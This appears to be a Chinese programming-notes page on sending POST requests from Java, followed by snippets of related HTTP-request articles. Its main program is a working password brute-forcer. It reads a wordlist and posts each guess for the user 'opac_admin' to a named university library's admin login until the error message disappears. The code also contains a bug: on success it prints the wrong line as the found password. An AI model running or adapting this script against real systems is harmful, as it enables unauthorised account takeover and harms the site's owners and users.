用java模拟发送post请求

package com.bytestream.practice.demo;

import java.io.BufferedReader;
import
java.io.File;
import
java.io.FileReader;
import
java.io.IOException;
import
java.io.InputStreamReader;
import
java.io.PrintWriter;
import
java.net.URL;
import
java.net.URLConnection;

public class SimulateSendPost {

   
public static void
main(String[] args) throws IOException
{
        /*
         * User user1 =
new User(); user1.setName(123); User user2 = new User();
   
     * user2 = user1;
user2.setEmail("[email protected]");
       
 * System.out.println("对象/t用户名/t邮箱"); System.out.println("user1/t"
+
         * user1.getName() + "/t" +
user1.getEmail());
         *
System.out.println("user2/t" + user2.getName() + "/t" +
   
     * user2.getEmail());
   
     */
       
/*
         * String
test = "newnew"; System.out.println(test.substring(0, 6));
   
     */
        File
file = new
File("G:\\pass3.txt");
   
    BufferedReader reader =
null;
        reader = new
BufferedReader(new
FileReader(file));
        int
i = 0;
        String
temp;
        while ((temp =
reader.readLine()) != null) {
   
        String result2 = sendPost("http://lib.stdu.edu.cn/hwweb/admin/", 
   
               
"passwd=" +
temp.trim() + "&username=opac_admin");
   
        if
(!result2.contains("用户名或者密码错误")) {
       
        System.out.println("密码是:" +
reader.readLine());
           
    break;
       
    }
           
i++;
       
    if (i %
200 == 0)
{
               
System.out.println("第" + i + "次尝试...");
       
    }
       
}
        System.out.println("没有找到密码!");
   
}

    public static String sendPost(String url, String param)
{
        PrintWriter out = null;
       
BufferedReader in = null;
   
    String result = "";
   
    try
{
            URL realUrl = new
URL(url);
            // 打开和URL之间的连接
       
    URLConnection conn =
realUrl.openConnection();
       
    //
设置通用的请求属性
           
conn.setRequestProperty("accept", "*/*");
   
        conn.setRequestProperty("connection",
"Keep-Alive");
   
        conn.setRequestProperty("user-agent",
   
               
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;SV1)");
           
// 发送POST请求必须设置如下两行
   
       
conn.setDoOutput(true);
       
    conn.setDoInput(true);
   
        //
获取URLConnection对象对应的输出流
       
    out = new
PrintWriter(conn.getOutputStream());
       
    // 发送请求参数
   
        out.print(param);
   
        //
flush输出流的缓冲
           
out.flush();
            // 定义BufferedReader输入流来读取URL的响应
   
        in = new BufferedReader(
   
               
new
InputStreamReader(conn.getInputStream()));
   
        String line;
   
        while
((line = in.readLine()) != null) {
       
        result +=
line;
           
}
        } catch (Exception e) {
   
        System.out.println("发送 POST 请求出现异常!" +
e);
           
e.printStackTrace();
       
}
        //
使用finally块来关闭输出流、输入流
        finally {
       
    try
{
               
if (out !=
null) {
           
        out.close();
   
            }
   
            if (in != null)
{
               
    in.close();
       
        }
       
    } catch (IOException ex)
{
               
ex.printStackTrace();
       
    }
       
}
        return result;
   
}

}

来自为知笔记(Wiz)

用java模拟发送post请求

时间: 2024-12-25 03:44:21

用java模拟发送post请求的相关文章

java httpclient发送json 请求 ,go服务端接收

/***java客户端发送http请求*/package com.xx.httptest; /** * Created by yq on 16/6/27. */ import java.io.IOException; import java.net.URLEncoder; import org.apache.commons.httpclient.*; import org.apache.commons.httpclient.methods.GetMethod; import org.apache

PHP模拟发送POST请求之一、HTTP协议头部解析

WEB开发中信息基本全是在POST与GET请求与响应中进行,GET因其基于URL的直观,易被我们了解,可POST请求因其信息的隐蔽,在安全的同时,也给开发者们模拟发送带来了麻烦.接下来的几篇博文中,我将结合自己的笔记和理解,详细解释PHP进行POST请求的几种方法,如有错误,烦请指正. HTTP协议信息是WEB开发中的一项重要内容,了解它可以帮助我们更深刻地理解BS交互,也有利于我们从更底层理解WEB开发.HTTP协议是一种简单灵活方便的通讯协议,并且要记住,它是一种无状态的协议,即它是一种无记

PHP模拟发送POST请求之五curl基本使用和多线程优化

今天来介绍PHP模拟发送POST请求的重型武器——cURL函数库的使用和其多线程的优化方法. 说起cURL函数,可谓是老生常谈,但网上许多资料都在关键部分语焉不详,列出一大堆手册上的东西,搞得我入门时也万分痛苦,我翻了些资料,结合自己的笔记,总结了这篇博文,希望能给初次接触cURL的开发者提供一些帮助. cURL的基本使用步骤 首先来介绍cURL: cURL按照HTTP头信息来模拟浏览器传输数据,它支持FTP, FTPS, HTTP, HTTPS, DICT, FILE等协议,拥有HTTPS认证

jmeter测试TCP服务器/模拟发送TCP请求

jmeter测试TCP服务器,使用TCP采样器模拟发送TCP请求. TCP采样器:打开一个到指定服务器的TCP / IP连接,然后发送指定文本并等待响应. jmeter模拟发送TCP请求的方法: 1.新建线程组,然后在线程组中新建TCP采样器 TCP采样器中填写服务器地址.端口和"要发送的文本",其它选项根据需要选填: re_use connection表示重复发送连接请求 close connection 关闭连接 如果TCP请求需要用户名/密码,可以在登录配置中填写 2.新建&qu

fiddler模拟发送post请求

模拟发送post请求:把原接口请求的textview内容复制,粘贴到body中去 需要以表单形式发送数据时,要添加请求头content-type 原文地址:https://www.cnblogs.com/come202011/p/12262452.html

JAVA模拟HTTP post请求上传文件

在开发中,我们使用的比较多的HTTP请求方式基本上就是GET.POST.其中GET用于从服务器获取数据,POST主要用于向服务器提交一些表单数据,例如文件上传等.而我们在使用HTTP请求时中遇到的比较麻烦的事情就是构造文件上传的HTTP报文格式,这个格式虽说也比较简单,但也比较容易出错.今天我们就一起来学习HTTP POST的报文格式以及通过Java来模拟文件上传的请求. 首先我们来看一个POST的报文请求,然后我们再来详细的分析它. POST报文格式 [plain] view plain co

[PHP学习教程 - 网络]004.模拟发送HTTP请求[GET/POST](HTTP Simulator)

引言:经常在开发期间,客户端与服务端的调试都是借助于真实的容器返回.尤其是在处理到POST时,通常刚刚入门的兄弟姐妹就一定要借助容器.今天,我们就来处理一下模拟HTTP. 本文列举了常见的四种请求方式: 函数版本[file_get_contents] 函数版本[Socket] 函数版本[Curl] 函数版本[Curl2] 大家直接观看代码吧. 函数版本[file_get_contents] 基本信息: string send_post ( string $url, string $data ).

夺命雷公狗jquery---55---Ajax的高级实现,模拟发送get请求

jQuery.get(url,[data],[callback]) 或 $.get jQuery.post(url,[data],[callback]) 或 $.post 参数说明: url:请求的url页面 [data]:发送Ajax时传递的参数,要求格式为json对象,如果没有可以不写,直接写第三个参数即可 [callback]:当Ajax状态码为4且响应状态码为200时所触发的回调函数 <!DOCTYPE html> <html> <head> <meta

Java后台发送Post请求,数据传输格式JSON

代码如下: 1 package com.test; 2 3 import java.io.BufferedReader; 4 import java.io.InputStream; 5 import java.io.InputStreamReader; 6 7 import net.sf.json.JSONObject; 8 9 import org.apache.http.HttpResponse; 10 import org.apache.http.HttpStatus; 11 import